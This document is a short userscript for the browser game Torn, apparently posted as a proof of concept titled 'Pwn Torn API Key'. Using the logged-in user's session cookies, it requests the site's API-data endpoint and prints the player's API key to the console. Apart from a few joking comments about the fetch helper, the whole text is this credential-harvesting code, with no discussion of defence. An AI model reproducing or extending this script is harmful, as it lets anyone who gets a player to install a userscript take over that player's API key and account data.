pwnerx77 / PoC

// ==UserScript==
// @name         PoC
// @version      0.0.1
// @author       Test
// @description  Pwn Torn API Key
// @license      MIT
// @require      https://
// @match        https://www.torn.com/index.php*
// @match        https://www.torn.com/preferences.php
// @match        https://www.torn.com/crimes.php*
// @grant        GM_xmlhttpRequest
// @grant        GM_setValue
// @grant        GM_getValue
// ==/UserScript==

(function () {
  'use strict';
  fetchUrl('/preferences.php?ajax=getApiData').then(ctx => {
    console.log('Pwn sucess: API key is:: ' + ctx.apiKey)
  })

})();

// Use our own fetchURL instead of Torn's to avoid Copywright  :3
// Also their implmentation is rather dumb trying to put in text first then synchronously using JSON.parse 🤦
// This could be saved in a library and is a normal fetch functions.

function fetchUrl(url, data) {
  const cfg = {
    credentials: 'include',
    headers: {
      'X-Requested-With': 'XMLHttpRequest'
    }
  }
  return fetch(url, cfg)
    .then(response => {
      return response.json()
    })
    .then(data => {
      // Work with JSON data here. 
      return data;
    })
    .catch(err => {
      // Do something for an error here
    })
}